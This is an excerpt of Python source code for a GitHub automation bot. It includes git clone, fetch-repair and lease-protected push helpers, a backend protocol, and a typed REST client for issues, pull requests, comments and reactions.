||||
if branch in refs_set and path:
|
||||
by_ref.setdefault(branch, []).append(path)
|
||||
|
||||
for line in proc.stdout.splitlines():
|
||||
if not line.strip():
|
||||
_flush()
|
||||
current.clear()
|
||||
continue
|
||||
key, _, val = line.partition(" ")
|
||||
if key and val:
|
||||
current[key] = val
|
||||
_flush()
|
||||
return by_ref
|
||||
|
||||
|
||||
def _remove_worktrees(repo_dir: Path, paths: list[str]) -> None:
|
||||
for path in paths:
|
||||
proc = _run_git(["worktree", "remove", "--force", path], cwd=repo_dir, token=None)
|
||||
if proc.returncode != 0:
|
||||
log.warning(
|
||||
"failed to remove worktree during fetch repair",
|
||||
extra={"repo_dir": str(repo_dir), "worktree": path, "stderr": proc.stderr[:500]},
|
||||
)
|
||||
continue
|
||||
log.warning(
|
||||
"removed worktree during fetch repair",
|
||||
extra={"repo_dir": str(repo_dir), "worktree": path},
|
||||
)
|
||||
if paths:
|
||||
_run_git(["worktree", "prune"], cwd=repo_dir, token=None)
|
||||
|
||||
|
||||
def _delete_bad_refs(repo_dir: Path, output: str) -> bool:
|
||||
bad_refs = _bad_refs_from_fetch_output(output)
|
||||
if not bad_refs:
|
||||
return False
|
||||
holding = _worktrees_holding_refs(repo_dir, bad_refs)
|
||||
changed = False
|
||||
for ref in bad_refs:
|
||||
worktrees = holding.get(ref) or []
|
||||
if worktrees:
|
||||
_remove_worktrees(repo_dir, worktrees)
|
||||
changed = True
|
||||
proc = _run_git(["update-ref", "-d", ref], cwd=repo_dir, token=None)
|
||||
if proc.returncode == 0:
|
||||
changed = True
|
||||
log.warning(
|
||||
"deleted invalid git ref during fetch repair",
|
||||
extra={"repo_dir": str(repo_dir), "git_ref": ref},
|
||||
)
|
||||
continue
|
||||
log.warning(
|
||||
"failed to delete invalid git ref during fetch repair",
|
||||
extra={"repo_dir": str(repo_dir), "git_ref": ref, "stderr": proc.stderr[:500]},
|
||||
)
|
||||
return changed
|
||||
|
||||
|
||||
def _repair_fetch_prune_failure(repo_dir: Path, output: str) -> bool:
|
||||
pruned_alternates = _prune_missing_alternates(repo_dir)
|
||||
deleted_refs = _delete_bad_refs(repo_dir, output)
|
||||
return pruned_alternates or deleted_refs
|
||||
|
||||
|
||||
# ---------- Public primitives ----------
|
||||
|
||||
|
||||
def clone(
|
||||
target: Path,
|
||||
*,
|
||||
clone_url: str,
|
||||
default_branch: str,
|
||||
token: str | None,
|
||||
safe_directory: Path | None = None,
|
||||
) -> None:
|
||||
"""Fresh `git clone --filter=blob:none` into `target`."""
|
||||
target.parent.mkdir(parents=True, exist_ok=True)
|
||||
args = [
|
||||
"clone",
|
||||
"--filter=blob:none",
|
||||
"--no-tags",
|
||||
"--branch",
|
||||
default_branch,
|
||||
clone_url,
|
||||
str(target),
|
||||
]
|
||||
_check(_run_git(args, cwd=None, token=token, safe_directory=safe_directory), ["git", *args])
|
||||
|
||||
|
||||
def fetch_prune(repo_dir: Path, *, token: str | None, safe_directory: Path | None = None) -> None:
|
||||
"""`git fetch --prune origin` on the shared pool clone.
|
||||
|
||||
Pool clones are long-lived. If a transient git object alternate leaks into
|
||||
the pool and later disappears, `git fetch` can fail before it has a chance
|
||||
to refresh from origin because a local ref points at an object that only
|
||||
existed in that missing alternate. Repair that exact corruption in-place:
|
||||
drop dead alternates, delete refs Git already reported as invalid, then
|
||||
retry the fetch.
|
||||
"""
|
||||
args = ["fetch", "--prune", "origin"]
|
||||
_prune_missing_alternates(repo_dir)
|
||||
last_proc: subprocess.CompletedProcess[str] | None = None
|
||||
for _ in range(_FETCH_PRUNE_REPAIR_ATTEMPTS):
|
||||
proc = _run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory)
|
||||
if proc.returncode == 0:
|
||||
return
|
||||
last_proc = proc
|
||||
output = f"{proc.stderr}\n{proc.stdout}"
|
||||
if not _repair_fetch_prune_failure(repo_dir, output):
|
||||
_check(proc, ["git", *args])
|
||||
assert last_proc is not None
|
||||
_check(last_proc, ["git", *args])
|
||||
|
||||
|
||||
def fetch_ref(repo_dir: Path, ref: str, *, token: str | None, safe_directory: Path | None = None) -> None:
|
||||
"""`git fetch origin <ref>` (best-effort: caller decides to swallow)."""
|
||||
args = ["fetch", "origin", ref]
|
||||
proc = _run_git(args, cwd=repo_dir, token=token, safe_directory=safe_directory)
|
||||
if proc.returncode != 0:
|
||||
log.debug(
|
||||
"fetch_ref non-fatal failure",
|
||||
extra={"ref": ref, "stderr": proc.stderr},
|
||||
)
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class PushResult:
|
||||
head: str
|
||||
branch: str
|
||||
|
||||
|
||||
class HeadDriftError(GitCommandError):
|
||||
"""Raised when `expected_head` no longer matches the current HEAD.
|
||||
|
||||
Defends against an attacker landing a commit between the orchestrator's
|
||||
preflight gates and the actual push.
|
||||
"""
|
||||
|
||||
|
||||
def rev_parse_head(
|
||||
repo_dir: Path,
|
||||
*,
|
||||
safe_directory: Path | None = None,
|
||||
user: int | None = None,
|
||||
group: int | None = None,
|
||||
extra_groups: list[int] | tuple[int, ...] | None = None,
|
||||
umask: int | None = None,
|
||||
) -> str:
|
||||
"""Return the SHA of HEAD or raise GitCommandError."""
|
||||
args = ["rev-parse", "HEAD"]
|
||||
proc = _run_git(
|
||||
args,
|
||||
cwd=repo_dir,
|
||||
token=None,
|
||||
safe_directory=safe_directory,
|
||||
user=user,
|
||||
group=group,
|
||||
extra_groups=extra_groups,
|
||||
umask=umask,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
raise GitCommandError(["git", *args], proc.returncode, proc.stdout, proc.stderr)
|
||||
return proc.stdout.strip()
|
||||
|
||||
|
||||
def push(
|
||||
repo_dir: Path,
|
||||
*,
|
||||
branch: str,
|
||||
expected_head: str | None,
|
||||
token: str | None,
|
||||
slot_uid: int | None = None,
|
||||
safe_directory: Path | None = None,
|
||||
) -> PushResult:
|
||||
"""`git push --force-with-lease=<ref>:<sha> --set-upstream origin <branch>` from `repo_dir`.
|
||||
|
||||
The lease is pinned to whatever SHA the local `refs/remotes/origin/<branch>`
|
||||
currently records — i.e. what the workspace last fetched. The push only
|
||||
succeeds if origin's `<branch>` still matches that SHA, so a parallel
|
||||
writer to the same ref (between our last fetch and this push) is detected
|
||||
and refused even when the push is a fast-forward of HEAD. For a brand-new
|
||||
branch the local remote-tracking ref is absent, so the lease expects "no
|
||||
ref on origin" (empty expected value).
|
||||
|
||||
`--force-with-lease` (vs plain `--force`) lets us recover from local
|
||||
history rewrites (e.g. the agent doing `git commit --amend --reset-author
|
||||
--no-edit` to fix author identity) while still refusing the push if origin
|
||||
has moved since our last fetch — i.e. it never clobbers work the bot
|
||||
didn't see.
|
||||
|
||||
When `expected_head` is supplied, this verifies the *local* HEAD matches
|
||||
before pushing — anything else means an unexpected commit raced in inside
|
||||
our own worktree between the orchestrator's preflight and this call, and
|
||||
the push is aborted with `HeadDriftError`. This is a separate concern from
|
||||
`--force-with-lease`, which compares against the remote ref.
|
||||
"""
|
||||
slot_kwargs = _slot_subprocess_kwargs(slot_uid)
|
||||
git_safe_directory = safe_directory
|
||||
if git_safe_directory is None and slot_kwargs:
|
||||
git_safe_directory = repo_dir
|
||||
|
||||
head = rev_parse_head(repo_dir, safe_directory=git_safe_directory, **slot_kwargs)
|
||||
if expected_head and head != expected_head:
|
||||
raise HeadDriftError(
|
||||
["git", "push"],
|
||||
128,
|
||||
"",
|
||||
f"HEAD changed since preflight ({expected_head[:12]} → {head[:12]}); aborting push.",
|
||||
)
|
||||
# Probe the local remote-tracking ref. Missing → first push; we pin the
|
||||
# lease to the empty value so the push only succeeds if origin still has
|
||||
# no `<branch>`. Present → pin to that SHA.
|
||||
probe = _run_git(
|
||||
["rev-parse", "--verify", "--quiet", f"refs/remotes/origin/{branch}"],
|
||||
cwd=repo_dir,
|
||||
token=None,
|
||||
safe_directory=git_safe_directory,
|
||||
**slot_kwargs,
|
||||
)
|
||||
expected_remote = probe.stdout.strip() if probe.returncode == 0 else ""
|
||||
push_extra_env: dict[str, str] | None = None
|
||||
origin = _run_git(
|
||||
["remote", "get-url", "origin"], cwd=repo_dir, token=None, safe_directory=git_safe_directory, **slot_kwargs
|
||||
)
|
||||
if origin.returncode == 0:
|
||||
local_remote = _local_remote_safe_directory(origin.stdout, cwd=repo_dir)
|
||||
if local_remote is not None:
|
||||
push_extra_env = {}
|
||||
_append_safe_directory(push_extra_env, local_remote)
|
||||
lease = f"--force-with-lease=refs/heads/{branch}:{expected_remote}"
|
||||
args = ["push", lease, "--set-upstream", "origin", branch]
|
||||
_check(
|
||||
_run_git(
|
||||
args, cwd=repo_dir, token=token, extra_env=push_extra_env, safe_directory=git_safe_directory, **slot_kwargs
|
||||
),
|
||||
["git", *args],
|
||||
)
|
||||
return PushResult(head=head, branch=branch)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"AUTH_ENV_VAR",
|
||||
"GitCommandError",
|
||||
"HeadDriftError",
|
||||
"PushResult",
|
||||
"clone",
|
||||
"fetch_prune",
|
||||
"fetch_ref",
|
||||
"push",
|
||||
"redact_credentials",
|
||||
"rev_parse_head",
|
||||
]
|
||||
@@ -0,0 +1,86 @@
|
||||
"""Structural protocol shared by `GitHubClient` and `GitHubProxyClient`.
|
||||
|
||||
Callers (worker, host tools, tasks, server, CLI) reference `GitHubBackend`
|
||||
so they accept either the direct PAT-bearing REST client or the HMAC-RPC
|
||||
proxy client without changing signatures. Both impls return the same typed
|
||||
dataclasses (`IssueInfo`, `RepoInfo`, …) defined in `github_client`.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Protocol
|
||||
|
||||
from robomp.github_client import (
|
||||
CommentInfo,
|
||||
IssueInfo,
|
||||
IssueSummary,
|
||||
PullRequestInfo,
|
||||
PullRequestReviewInfo,
|
||||
ReactionInfo,
|
||||
RepoInfo,
|
||||
ReviewCommentInfo,
|
||||
)
|
||||
|
||||
|
||||
class GitHubBackend(Protocol):
|
||||
"""Methods every caller in roboomp uses against GitHub."""
|
||||
|
||||
# ---- reads ----
|
||||
async def get_repo(self, repo: str) -> RepoInfo: ...
|
||||
|
||||
async def get_issue(self, repo: str, number: int) -> IssueInfo: ...
|
||||
|
||||
async def list_closing_pull_requests(self, repo: str, number: int) -> tuple[int, ...]: ...
|
||||
|
||||
async def get_pull_request(self, repo: str, number: int) -> PullRequestInfo: ...
|
||||
|
||||
async def list_issues(
|
||||
self,
|
||||
repo: str,
|
||||
*,
|
||||
state: str = "open",
|
||||
limit: int = 30,
|
||||
) -> list[IssueSummary]: ...
|
||||
|
||||
async def list_comments(self, repo: str, number: int) -> list[CommentInfo]: ...
|
||||
|
||||
async def list_review_comments(self, repo: str, pr_number: int) -> list[ReviewCommentInfo]: ...
|
||||
|
||||
async def list_pr_reviews(self, repo: str, pr_number: int) -> list[PullRequestReviewInfo]: ...
|
||||
|
||||
async def get_authenticated_login(self) -> str: ...
|
||||
|
||||
# ---- writes ----
|
||||
async def post_comment(self, repo: str, number: int, body: str) -> CommentInfo: ...
|
||||
|
||||
async def open_pull_request(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
head: str,
|
||||
base: str,
|
||||
title: str,
|
||||
body: str,
|
||||
draft: bool = False,
|
||||
maintainer_can_modify: bool = True,
|
||||
) -> PullRequestInfo: ...
|
||||
|
||||
async def request_reviewers(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
pr_number: int,
|
||||
reviewers: list[str] | None = None,
|
||||
team_reviewers: list[str] | None = None,
|
||||
) -> None: ...
|
||||
|
||||
async def add_issue_labels(self, repo: str, number: int, labels: list[str]) -> tuple[str, ...]: ...
|
||||
|
||||
async def add_assignees(self, repo: str, number: int, assignees: list[str]) -> None: ...
|
||||
|
||||
async def list_comment_reactions(self, repo: str, comment_id: int) -> tuple[ReactionInfo, ...]: ...
|
||||
|
||||
async def close_issue(self, repo: str, number: int, *, reason: str = "completed") -> None: ...
|
||||
|
||||
|
||||
__all__ = ["GitHubBackend"]
|
||||
@@ -0,0 +1,543 @@
|
||||
"""Minimal typed GitHub REST client (PAT auth, httpx)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import time
|
||||
from collections.abc import Mapping
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
GITHUB_API = "https://api.github.com"
|
||||
ACCEPT = "application/vnd.github+json"
|
||||
API_VERSION = "2022-11-28"
|
||||
|
||||
|
||||
class GitHubError(RuntimeError):
|
||||
"""Raised on non-2xx responses from GitHub."""
|
||||
|
||||
def __init__(self, status: int, message: str, *, retry_after: float | None = None) -> None:
|
||||
super().__init__(f"GitHub {status}: {message}")
|
||||
self.status = status
|
||||
self.message = message
|
||||
self.retry_after = retry_after
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class IssueInfo:
|
||||
repo: str
|
||||
number: int
|
||||
title: str
|
||||
body: str
|
||||
state: str
|
||||
author: str
|
||||
labels: tuple[str, ...]
|
||||
is_pull_request: bool
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class CommentInfo:
|
||||
id: int
|
||||
author: str
|
||||
body: str
|
||||
created_at: str
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class RepoInfo:
|
||||
full_name: str
|
||||
default_branch: str
|
||||
clone_url: str
|
||||
private: bool
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class PullRequestInfo:
|
||||
repo: str
|
||||
number: int
|
||||
html_url: str
|
||||
head_ref: str
|
||||
base_ref: str
|
||||
state: str
|
||||
author: str = ""
|
||||
head_repo: str = ""
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class ReviewCommentInfo:
|
||||
"""In-line PR review comment (attached to a file/line)."""
|
||||
|
||||
id: int
|
||||
author: str
|
||||
body: str
|
||||
path: str
|
||||
line: int | None
|
||||
created_at: str
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class PullRequestReviewInfo:
|
||||
"""Top-level PR review (the summary block, not the inline comments)."""
|
||||
|
||||
id: int
|
||||
author: str
|
||||
body: str
|
||||
state: str # APPROVED / CHANGES_REQUESTED / COMMENTED
|
||||
submitted_at: str
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class IssueSummary:
|
||||
"""Lightweight projection of an issue for list views (no body)."""
|
||||
|
||||
repo: str
|
||||
number: int
|
||||
title: str
|
||||
state: str
|
||||
author: str
|
||||
labels: tuple[str, ...]
|
||||
comments: int
|
||||
updated_at: str
|
||||
created_at: str
|
||||
html_url: str
|
||||
|
||||
|
||||
@dataclass(slots=True, frozen=True)
|
||||
class ReactionInfo:
|
||||
"""A reaction on an issue/comment.
|
||||
|
||||
`content` is GitHub's reaction string: `+1`, `-1`, `laugh`, `hooray`,
|
||||
`confused`, `heart`, `rocket`, `eyes`. The auto-close scheduler only
|
||||
looks at `-1` (👎) reactions from the issue's original author.
|
||||
"""
|
||||
|
||||
content: str
|
||||
user_login: str
|
||||
user_type: str
|
||||
|
||||
|
||||
def _parse_retry_after(resp: httpx.Response) -> float | None:
|
||||
ra = resp.headers.get("retry-after")
|
||||
if ra:
|
||||
try:
|
||||
return float(ra)
|
||||
except ValueError:
|
||||
pass
|
||||
reset = resp.headers.get("x-ratelimit-reset")
|
||||
if reset:
|
||||
try:
|
||||
return max(0.0, float(reset) - time.time())
|
||||
except ValueError:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
class GitHubClient:
|
||||
"""Async + sync facades over a small slice of the GitHub REST API."""
|
||||
|
||||
def __init__(self, token: str, *, transport: httpx.BaseTransport | None = None) -> None:
|
||||
self._token = token
|
||||
self._headers = {
|
||||
"Authorization": f"Bearer {token}",
|
||||
"Accept": ACCEPT,
|
||||
"X-GitHub-Api-Version": API_VERSION,
|
||||
"User-Agent": "robomp/0.1",
|
||||
}
|
||||
self._transport = transport
|
||||
|
||||
def _client(self) -> httpx.Client:
|
||||
return httpx.Client(
|
||||
base_url=GITHUB_API,
|
||||
headers=self._headers,
|
||||
transport=self._transport,
|
||||
timeout=httpx.Timeout(30.0, connect=10.0),
|
||||
follow_redirects=True,
|
||||
)
|
||||
|
||||
def _async_client(self) -> httpx.AsyncClient:
|
||||
return httpx.AsyncClient(
|
||||
base_url=GITHUB_API,
|
||||
headers=self._headers,
|
||||
transport=self._transport, # type: ignore[arg-type]
|
||||
timeout=httpx.Timeout(30.0, connect=10.0),
|
||||
follow_redirects=True,
|
||||
)
|
||||
|
||||
# ---- request helpers ----
|
||||
def _check(self, resp: httpx.Response) -> Any:
|
||||
if resp.status_code >= 400:
|
||||
retry_after = _parse_retry_after(resp)
|
||||
try:
|
||||
msg = resp.json().get("message", resp.text)
|
||||
except Exception:
|
||||
msg = resp.text
|
||||
raise GitHubError(resp.status_code, str(msg), retry_after=retry_after)
|
||||
if resp.status_code >= 300:
|
||||
# Redirect we couldn't (or weren't asked to) follow. GitHub uses 301
|
||||
# for transferred repos / issues. Surface as a normal error so host
|
||||
# tools map it to RpcCommandError instead of mis-parsing the body.
|
||||
location = resp.headers.get("location", "")
|
||||
raise GitHubError(
|
||||
resp.status_code,
|
||||
f"unexpected redirect to {location!r}; resource may have moved",
|
||||
)
|
||||
if resp.status_code == 204 or not resp.content:
|
||||
return None
|
||||
return resp.json()
|
||||
|
||||
def request_sync(
|
||||
self, method: str, path: str, *, json: Mapping[str, Any] | None = None, params: Mapping[str, Any] | None = None
|
||||
) -> Any:
|
||||
with self._client() as client:
|
||||
resp = client.request(method, path, json=json, params=params)
|
||||
return self._check(resp)
|
||||
|
||||
async def request(
|
||||
self, method: str, path: str, *, json: Mapping[str, Any] | None = None, params: Mapping[str, Any] | None = None
|
||||
) -> Any:
|
||||
async with self._async_client() as client:
|
||||
resp = await client.request(method, path, json=json, params=params)
|
||||
return self._check(resp)
|
||||
|
||||
# ---- repos / issues / comments / PRs ----
|
||||
async def get_repo(self, repo: str) -> RepoInfo:
|
||||
data = await self.request("GET", f"/repos/{repo}")
|
||||
return _repo_from_payload(data)
|
||||
|
||||
async def get_issue(self, repo: str, number: int) -> IssueInfo:
|
||||
data = await self.request("GET", f"/repos/{repo}/issues/{number}")
|
||||
return _issue_from_payload(repo, data)
|
||||
|
||||
async def list_closing_pull_requests(self, repo: str, number: int) -> tuple[int, ...]:
|
||||
"""Return PR numbers currently linked to issue ``number`` via "Closes"/"Fixes"
|
||||
keywords or the Development panel.
|
||||
|
||||
Walks ``GET /repos/{repo}/issues/{N}/timeline`` and computes net
|
||||
``connected`` − ``disconnected`` events for sources that are pull
|
||||
requests. Only PRs whose timeline source carries ``state == "open"``
|
||||
are returned — a merged or closed PR no longer needs the bot's work.
|
||||
|
||||
Pagination intentionally skipped: a just-opened issue has at most a
|
||||
handful of timeline entries, and the bot only consults this on
|
||||
``issues.opened`` triage.
|
||||
"""
|
||||
data = await self.request(
|
||||
"GET",
|
||||
f"/repos/{repo}/issues/{number}/timeline",
|
||||
params={"per_page": 100},
|
||||
)
|
||||
linked: set[int] = set()
|
||||
states: dict[int, str] = {}
|
||||
for event in data or []:
|
||||
if not isinstance(event, Mapping):
|
||||
continue
|
||||
ev = event.get("event")
|
||||
source = event.get("source") or {}
|
||||
src_issue = source.get("issue") if isinstance(source, Mapping) else None
|
||||
if not isinstance(src_issue, Mapping) or "pull_request" not in src_issue:
|
||||
continue
|
||||
pr_number = src_issue.get("number")
|
||||
if not isinstance(pr_number, int):
|
||||
continue
|
||||
states[pr_number] = str(src_issue.get("state") or "open")
|
||||
if ev == "connected":
|
||||
linked.add(pr_number)
|
||||
elif ev == "disconnected":
|
||||
linked.discard(pr_number)
|
||||
return tuple(sorted(n for n in linked if states.get(n, "open") == "open"))
|
||||
|
||||
async def get_pull_request(self, repo: str, number: int) -> PullRequestInfo:
|
||||
data = await self.request("GET", f"/repos/{repo}/pulls/{number}")
|
||||
return _pr_from_payload(repo, data)
|
||||
|
||||
async def list_issues(
|
||||
self,
|
||||
repo: str,
|
||||
*,
|
||||
state: str = "open",
|
||||
limit: int = 30,
|
||||
) -> list[IssueSummary]:
|
||||
"""List recent issues for `repo`, newest-updated first. Excludes pull requests.
|
||||
|
||||
`state` is one of `open`, `closed`, `all`. `limit` is capped at 100 by the
|
||||
GitHub `per_page`; we don't paginate here — the dashboard browse view shows
|
||||
a recent slice, not every issue ever.
|
||||
"""
|
||||
if state not in ("open", "closed", "all"):
|
||||
raise ValueError(f"invalid state: {state!r}")
|
||||
per_page = max(1, min(int(limit), 100))
|
||||
data = await self.request(
|
||||
"GET",
|
||||
f"/repos/{repo}/issues",
|
||||
params={"state": state, "per_page": per_page, "sort": "updated", "direction": "desc"},
|
||||
)
|
||||
out: list[IssueSummary] = []
|
||||
for item in data or []:
|
||||
if "pull_request" in item:
|
||||
continue # GitHub's /issues endpoint also returns PRs; skip them.
|
||||
user = item.get("user") or {}
|
||||
labels_raw = item.get("labels") or []
|
||||
out.append(
|
||||
IssueSummary(
|
||||
repo=repo,
|
||||
number=int(item["number"]),
|
||||
title=str(item.get("title") or ""),
|
||||
state=str(item.get("state") or "open"),
|
||||
author=str(user.get("login") or ""),
|
||||
labels=tuple(str(lbl["name"]) if isinstance(lbl, dict) else str(lbl) for lbl in labels_raw),
|
||||
comments=int(item.get("comments") or 0),
|
||||
updated_at=str(item.get("updated_at") or ""),
|
||||
created_at=str(item.get("created_at") or ""),
|
||||
html_url=str(item.get("html_url") or ""),
|
||||
)
|
||||
)
|
||||
return out
|
||||
|
||||
async def list_comments(self, repo: str, number: int) -> list[CommentInfo]:
|
||||
data = await self.request("GET", f"/repos/{repo}/issues/{number}/comments", params={"per_page": 100})
|
||||
return [_comment_from_payload(item) for item in (data or [])]
|
||||
|
||||
async def list_review_comments(self, repo: str, pr_number: int) -> list[ReviewCommentInfo]:
|
||||
"""List inline review comments on a PR (the ones attached to a path:line)."""
|
||||
data = await self.request(
|
||||
"GET",
|
||||
f"/repos/{repo}/pulls/{pr_number}/comments",
|
||||
params={"per_page": 100},
|
||||
)
|
||||
out: list[ReviewCommentInfo] = []
|
||||
for item in data or []:
|
||||
user = item.get("user") or {}
|
||||
line = item.get("line")
|
||||
if not isinstance(line, int):
|
||||
orig = item.get("original_line")
|
||||
line = orig if isinstance(orig, int) else None
|
||||
out.append(
|
||||
ReviewCommentInfo(
|
||||
id=int(item.get("id") or 0),
|
||||
author=str(user.get("login") or ""),
|
||||
body=str(item.get("body") or ""),
|
||||
path=str(item.get("path") or ""),
|
||||
line=line,
|
||||
created_at=str(item.get("created_at") or ""),
|
||||
)
|
||||
)
|
||||
return out
|
||||
|
||||
async def list_pr_reviews(self, repo: str, pr_number: int) -> list[PullRequestReviewInfo]:
|
||||
"""List top-level reviews on a PR. Empty-body reviews are skipped — they
|
||||
carry no novel text beyond what the inline comments + merge state convey."""
|
||||
data = await self.request(
|
||||
"GET",
|
||||
f"/repos/{repo}/pulls/{pr_number}/reviews",
|
||||
params={"per_page": 100},
|
||||
)
|
||||
out: list[PullRequestReviewInfo] = []
|
||||
for item in data or []:
|
||||
user = item.get("user") or {}
|
||||
body = str(item.get("body") or "").strip()
|
||||
if not body:
|
||||
continue
|
||||
out.append(
|
||||
PullRequestReviewInfo(
|
||||
id=int(item.get("id") or 0),
|
||||
author=str(user.get("login") or ""),
|
||||
body=body,
|
||||
state=str(item.get("state") or ""),
|
||||
submitted_at=str(item.get("submitted_at") or item.get("created_at") or ""),
|
||||
)
|
||||
)
|
||||
return out
|
||||
|
||||
async def post_comment(self, repo: str, number: int, body: str) -> CommentInfo:
|
||||
data = await self.request(
|
||||
"POST",
|
||||
f"/repos/{repo}/issues/{number}/comments",
|
||||
json={"body": body},
|
||||
)
|
||||
return _comment_from_payload(data)
|
||||
|
||||
async def open_pull_request(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
head: str,
|
||||
base: str,
|
||||
title: str,
|
||||
body: str,
|
||||
draft: bool = False,
|
||||
maintainer_can_modify: bool = True,
|
||||
) -> PullRequestInfo:
|
||||
data = await self.request(
|
||||
"POST",
|
||||
f"/repos/{repo}/pulls",
|
||||
json={
|
||||
"title": title,
|
||||
"body": body,
|
||||
"head": head,
|
||||
"base": base,
|
||||
"draft": draft,
|
||||
"maintainer_can_modify": maintainer_can_modify,
|
||||
},
|
||||
)
|
||||
return _pr_from_payload(repo, data)
|
||||
|
||||
async def request_reviewers(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
pr_number: int,
|
||||
reviewers: list[str] | None = None,
|
||||
team_reviewers: list[str] | None = None,
|
||||
) -> None:
|
||||
payload: dict[str, Any] = {}
|
||||
if reviewers:
|
||||
payload["reviewers"] = reviewers
|
||||
if team_reviewers:
|
||||
payload["team_reviewers"] = team_reviewers
|
||||
if not payload:
|
||||
return
|
||||
await self.request(
|
||||
"POST",
|
||||
f"/repos/{repo}/pulls/{pr_number}/requested_reviewers",
|
||||
json=payload,
|
||||
)
|
||||
|
||||
async def add_issue_labels(self, repo: str, number: int, labels: list[str]) -> tuple[str, ...]:
|
||||
"""Append labels to an issue (or PR). Returns the full label set after the add.
|
||||
|
||||
Uses `POST /repos/{owner}/{repo}/issues/{n}/labels` which is *additive* —
|
||||
we never remove or overwrite existing labels.
|
||||
"""
|
||||
if not labels:
|
||||
return ()
|
||||
data = await self.request(
|
||||
"POST",
|
||||
f"/repos/{repo}/issues/{number}/labels",
|
||||
json={"labels": labels},
|
||||
)
|
||||
return tuple(str(lbl["name"]) if isinstance(lbl, dict) else str(lbl) for lbl in (data or []))
|
||||
|
||||
async def add_assignees(self, repo: str, number: int, assignees: list[str]) -> None:
|
||||
if not assignees:
|
||||
return
|
||||
await self.request(
|
||||
"POST",
|
||||
f"/repos/{repo}/issues/{number}/assignees",
|
||||
json={"assignees": assignees},
|
||||
)
|
||||
|
||||
async def list_comment_reactions(self, repo: str, comment_id: int) -> tuple[ReactionInfo, ...]:
|
||||
"""Reactions on an issue comment, filtered server-side to 👎 (`content=-1`).
|
||||
|
||||
The auto-close scheduler only consults 👎 reactions; filtering server-side
|
||||
keeps payloads small even on noisy threads. Returns reactions in the
|
||||
order GitHub provides (creation order).
|
||||
"""
|
||||
data = await self.request(
|
||||
"GET",
|
||||
f"/repos/{repo}/issues/comments/{comment_id}/reactions",
|
||||
params={"content": "-1", "per_page": 100},
|
||||
)
|
||||
return tuple(_reaction_from_payload(item) for item in (data or []))
|
||||
|
||||
async def close_issue(self, repo: str, number: int, *, reason: str = "completed") -> None:
|
||||
"""Close an issue with `state_reason` (`completed`/`not_planned`/`reopened`)."""
|
||||
await self.request(
|
||||
"PATCH",
|
||||
f"/repos/{repo}/issues/{number}",
|
||||
json={"state": "closed", "state_reason": reason},
|
||||
)
|
||||
|
||||
async def get_authenticated_login(self) -> str:
|
||||
data = await self.request("GET", "/user")
|
||||
return str(data["login"])
|
||||
|
||||
|
||||
def _repo_from_payload(data: Mapping[str, Any]) -> RepoInfo:
|
||||
return RepoInfo(
|
||||
full_name=str(data["full_name"]),
|
||||
default_branch=str(data["default_branch"]),
|
||||
clone_url=str(data["clone_url"]),
|
||||
private=bool(data.get("private", False)),
|
||||
)
|
||||
|
||||
|
||||
def _issue_from_payload(repo: str, data: Mapping[str, Any]) -> IssueInfo:
|
||||
labels_raw = data.get("labels") or []
|
||||
labels = tuple(str(lbl["name"]) if isinstance(lbl, dict) else str(lbl) for lbl in labels_raw)
|
||||
user = data.get("user") or {}
|
||||
return IssueInfo(
|
||||
repo=repo,
|
||||
number=int(data["number"]),
|
||||
title=str(data.get("title") or ""),
|
||||
body=str(data.get("body") or ""),
|
||||
state=str(data.get("state") or "open"),
|
||||
author=str(user.get("login") or ""),
|
||||
labels=labels,
|
||||
is_pull_request="pull_request" in data,
|
||||
)
|
||||
|
||||
|
||||
def _pr_from_payload(repo: str, data: Mapping[str, Any]) -> PullRequestInfo:
|
||||
head = data.get("head") or {}
|
||||
base = data.get("base") or {}
|
||||
user = data.get("user") or {}
|
||||
head_repo = head.get("repo") if isinstance(head, Mapping) else None
|
||||
return PullRequestInfo(
|
||||
repo=repo,
|
||||
number=int(data["number"]),
|
||||
html_url=str(data["html_url"]),
|
||||
head_ref=str(head.get("ref") or "") if isinstance(head, Mapping) else "",
|
||||
base_ref=str(base.get("ref") or "") if isinstance(base, Mapping) else "",
|
||||
state=str(data.get("state") or "open"),
|
||||
author=str(user.get("login") or "") if isinstance(user, Mapping) else "",
|
||||
head_repo=str(head_repo.get("full_name") or "") if isinstance(head_repo, Mapping) else "",
|
||||
)
|
||||
|
||||
|
||||
def _comment_from_payload(data: Mapping[str, Any]) -> CommentInfo:
|
||||
user = data.get("user") or {}
|
||||
return CommentInfo(
|
||||
id=int(data["id"]),
|
||||
author=str(user.get("login") or ""),
|
||||
body=str(data.get("body") or ""),
|
||||
created_at=str(data.get("created_at") or ""),
|
||||
)
|
||||
|
||||
|
||||
def _reaction_from_payload(data: Mapping[str, Any]) -> ReactionInfo:
|
||||
user = data.get("user") or {}
|
||||
return ReactionInfo(
|
||||
content=str(data.get("content") or ""),
|
||||
user_login=str(user.get("login") or "") if isinstance(user, Mapping) else "",
|
||||
user_type=str(user.get("type") or "") if isinstance(user, Mapping) else "",
|
||||
)
|
||||
|
||||
|
||||
def parse_issue_payload(payload: Mapping[str, Any]) -> tuple[RepoInfo, IssueInfo]:
|
||||
"""Build typed records from a webhook payload (issues.opened, etc.)."""
|
||||
repo_payload = payload["repository"]
|
||||
repo = _repo_from_payload(repo_payload)
|
||||
issue = _issue_from_payload(repo.full_name, payload["issue"])
